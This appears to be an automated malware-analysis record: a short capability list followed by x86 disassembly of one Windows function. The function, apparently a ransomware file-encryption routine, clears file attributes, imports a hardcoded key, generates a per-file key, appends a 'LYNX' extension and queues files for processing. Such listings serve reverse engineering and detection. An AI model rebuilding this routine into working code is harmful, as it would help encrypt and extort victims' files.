Function at 0x405a30
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1e4
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x1e0], eax
push ebx
push esi
push edi
mov edi, ecx
push edi
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
and eax, 0xfffffffe
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0x40000080
push 3
push 0
push 1
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x18], ebx
cmp ebx, 0xffffffff
je 0x405f20
lea eax, [esp + 0xe0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0xe0]
or eax, dword [esp + 0xe4]
jne 0x405ac8
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1e0]
xor ecx, esp
call fcn.00409fba
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x188
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push 0x188
push 0
push eax
mov dword [esp + 0x20], eax
call fcn.0040b280
add esp, 0xc
lea eax, [esp + 0x60]
push 0x74
push 0
push eax
call fcn.0040b280
add esp, 0xc
lea eax, [esp + 0x24]
push 0x3c
push 0
push eax
call fcn.0040b280
add esp, 0xc
mov byte [esp + 0x24], 9
lea eax, [esp + 0xdc]
mov dword [esp + 0x3d], 0
xorps xmm0, xmm0
mov word [esp + 0x41], 0
lea ecx, [esp + 0x10]
movq qword [esp + 0x35], xmm0
push eax
push str.WW0Ad4rDGce5YujLMSwBy06euCFvP7loXVUyP9TomFk
movups xmmword [esp + 0x2d], xmm0
mov byte [esp + 0x4b], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0xe4], 0
call fcn.00401370
mov dword [esp + 0x44], eax
test eax, eax
jne 0x405bd0
cmp byte [0x42a33c], al
je 0x405f37
push eax
push 0x80
lea eax, [esp + 0xf0]
push eax
push 0x409
push dword [esp + 0x20]
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xe8]
push eax
push str.____Error_while_importing_key:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1e0]
xor ecx, esp
call fcn.00409fba
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x24]
call fcn.004073a0
test al, al
jne 0x405c38
cmp byte [0x42a33c], al
je 0x405f37
push 0
push 0x80
lea eax, [esp + 0xf0]
push eax
push 0x409
push dword [esp + 0x58]
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xe8]
push eax
push str.____Error_while_generating_file_key:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1e0]
xor ecx, esp
call fcn.00409fba
mov esp, ebp
pop ebp
ret
push 0x10
push 0
call ebx
push eax
call esi
push 0x10
push 0
mov dword [esp + 0x18], eax
call ebx
push eax
call esi
mov ecx, eax
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x4c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 2
push edi
movups xmm0, xmmword [eax]
mov dword [esp + 0xe4], ecx
movups xmmword [esp + 0x68], xmm0
movups xmm0, xmmword [eax + 0x10]
mov eax, dword [esp + 0x64]
movups xmmword [esp + 0x78], xmm0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x88], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [esp + 0x98], xmm0
movups xmm0, xmmword [eax + 0x20]
movups xmmword [esp + 0xa8], xmm0
movups xmm0, xmmword [eax + 0x30]
mov eax, dword [esp + 0x18]
movups xmmword [esp + 0xb8], xmm0
movups xmm0, xmmword [edx]
movups xmmword [eax], xmm0
movups xmm0, xmmword [edx + 0x10]
movups xmmword [ecx], xmm0
call ebx
push str.LYNX
lea esi, [eax + 1]
call ebx
xor ecx, ecx
add eax, esi
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00410ad4
add esp, 8
mov esi, eax
mov dword [esp + 0x1c], esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call edi
push 0x4255b8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push str.LYNX
push dword [esp + 0x20]
call esi
mov esi, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0x38]
call section..text
mov eax, dword [esp + 0xdc]
push 0x426710
movups xmm0, xmmword [eax]
lea eax, [esp + 0xc4]
push eax
movups xmmword [esi + 0xe8], xmm0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x4298b0]
mov dword [esp + 0xcc], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0xc8], 0xf4240
mov dword [esp + 0xd0], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], eax
push dword [esp + 0xc8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0x30], eax
mov esi, dword [esp + 0x20]
push 2
push esi
call ebx
xor ecx, ecx
add eax, 2
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00410ad4
mov ebx, dword [esp + 0x1c]
add esp, 8
push esi
push eax
mov dword [ebx + 0x18], eax
call edi
mov eax, dword [esp + 0x1c]
lea edi, [ebx + 0xf8]
mov dword [ebx + 0x1c], eax
lea esi, [esp + 0x60]
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xe4]
mov dword [ebx + 0x20], eax
lea eax, [ebx + 0x17c]
push eax
lea eax, [ebx + 0x174]
mov dword [ebx + 0x24], ecx
push eax
lea eax, [ebx + 0x16c]
mov dword [ebx + 0x28], 0
push eax
push dword [esp + 0x24]
mov dword [ebx + 0x2c], 0
mov ecx, 0x1d
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [esp + 0x44]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x405e32
push eax
push 0
call esi
push eax
call edi
mov eax, dword [esp + 0x50]
test eax, eax
je 0x405e42
push eax
push 0
call esi
push eax
call edi
push dword [esp + 0x4c]
push 0
call esi
push eax
call edi
push dword [esp + 0x5c]
push 0
call esi
push eax
call edi
mov eax, dword [esp + 0x54]
test eax, eax
je 0x405e68
push eax
push 0
call esi
push eax
call edi
push dword [esp + 0x58]
push 0
call esi
push eax
call edi
push dword [esp + 0x10]
push 0
call esi
push eax
call edi
push dword [esp + 0xdc]
push 0
call esi
push eax
call edi
mov eax, dword [esp + 0x18]
push 0
push eax
push dword [0x42a334]
push eax
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
cmp dword [esp + 0xe4], 0
jl 0x405ef1
jg 0x405eb6
cmp dword [esp + 0xe0], 0x74
jbe 0x405ef1
mov edx, dword [ebx + 0x20]
mov ecx, edx
mov esi, dword [ebx + 0x24]
sub ecx, 0x74
push ebx
mov eax, esi
mov dword [ebx + 0x34], 3
push 0
sbb eax, 0
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], eax
mov dword [ebx + 0x20], edx
mov dword [ebx + 0x24], esi
push dword [esp + 0xd0]
push dword [ebx + 0x30]
push dword [ebx + 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x405f04
push ebx
push 0
push 0
push eax
mov dword [ebx + 0x34], 2
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lock inc dword [0x42a330]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1e0]
xor ecx, esp
call fcn.00409fba
mov esp, ebp
pop ebp
ret
cmp byte [0x42a338], 0
je 0x405f30
mov ecx, edi
call fcn.00406360
mov ecx, edi
call fcn.00406580
mov ecx, dword [esp + 0x1ec]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00409fba
mov esp, ebp
pop ebp
ret